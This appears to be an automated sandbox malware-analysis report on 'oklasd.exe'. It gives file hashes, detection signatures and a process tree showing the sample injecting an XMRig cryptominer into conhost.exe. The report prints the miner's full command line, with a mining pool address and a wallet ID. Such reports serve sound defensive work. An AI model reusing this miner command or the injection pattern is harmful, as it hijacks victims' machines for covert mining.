Analysis
- max time kernel
899s - max time network
899s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
28/07/2026, 03:47
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
oklasd.exe
Resource
win10v2004-20260513-en
8 signatures
900 seconds
Behavioral task
behavioral2
Sample
oklasd.exe
Resource
win10ltsc2021-20260513-en
8 signatures
900 seconds
Behavioral task
behavioral3
Sample
oklasd.exe
Resource
win11-20260513-en
8 signatures
900 seconds
Behavioral task
behavioral4
Sample
oklasd.exe
Resource
win11ltsc2024-20260709-en
16 signatures
900 seconds
General
- Target oklasd.exe
- Size 3.0MB
- Sample260728-eb63vsan2x
- SHA256 ae323ac9f74d24765305a97d360e80eed8bb9b417f27da94e341e1dc8e430199
- MD5 ed455fdfbd7e0c7827c1bda49ba2ab3d
- SHA1 ed0581139f693245fe6b12bfb6f5c99c56b93ff7
- SHA512 c9a1744ea0b54d786e5fa189c8d0ab9a033ee2f8f11938c88d956aeb6f3596b4e6c9fb62650b342a225ad91256c60d95a0c345a37e04f24c944093a2da0fdbdb
- SSDEEP 49152:C01dzeyz9xWwqMmQYAhRbNPE8Y1RuKDrD4yVz4OILGlb083PUUG:Cg1eyza0JBPE8Y1R3rsyJ4no083P6
- TLSH T149E533060CC214B8C35533FD8CEFDBA19125B7964B85ACEF842CF7263D676E62263961
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 26 IoCs
resource yara_rule behavioral2/memory/3648-10-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-11-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-12-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-9-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-13-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-17-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-21-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-20-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-19-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-18-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-15-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-16-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-14-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-8-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-7-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-6-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-26-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-27-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-25-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-24-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-23-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-28-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-29-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-32-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-33-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig behavioral2/memory/3648-34-0x0000000140000000-0x00000001408E0000-memory.dmp xmrig - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4868 set thread context of 3648 4868 oklasd.exe 84 -
resource yara_rule behavioral2/memory/3648-2-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-3-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-1-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-4-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-5-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-10-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-11-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-12-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-9-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-13-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-17-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-21-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-20-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-19-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-18-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-15-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-16-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-14-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-8-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-7-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-6-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-26-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-27-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-25-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-24-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-23-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-28-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-29-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-32-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-33-0x0000000140000000-0x00000001408E0000-memory.dmp upx behavioral2/memory/3648-34-0x0000000140000000-0x00000001408E0000-memory.dmp upx - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4868 oklasd.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 3648 conhost.exe Token: SeLockMemoryPrivilege 3648 conhost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3648 conhost.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4868 wrote to memory of 3648 4868 oklasd.exe 84 PID 4868 wrote to memory of 3648 4868 oklasd.exe 84 PID 4868 wrote to memory of 3648 4868 oklasd.exe 84
Processes
-
C:\Users\Admin\AppData\Local\Temp\oklasd.exe"C:\Users\Admin\AppData\Local\Temp\oklasd.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\conhost.execonhost.exe --algo=rx/0 --url=pool.hashvault.pro:443 --user="44nkuDevyMkUnE7Lc4kJThfZqW3zyQ62nZxB9Ca6ikxTK7SMYdLmb9eSdp3PcYDwziHMN1xyq3Yq7BNcbGXDCBhWMzEVEBX" --pass="2029" --cpu-max-threads-hint=100 --randomx-no-rdmsr --tls2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3648
-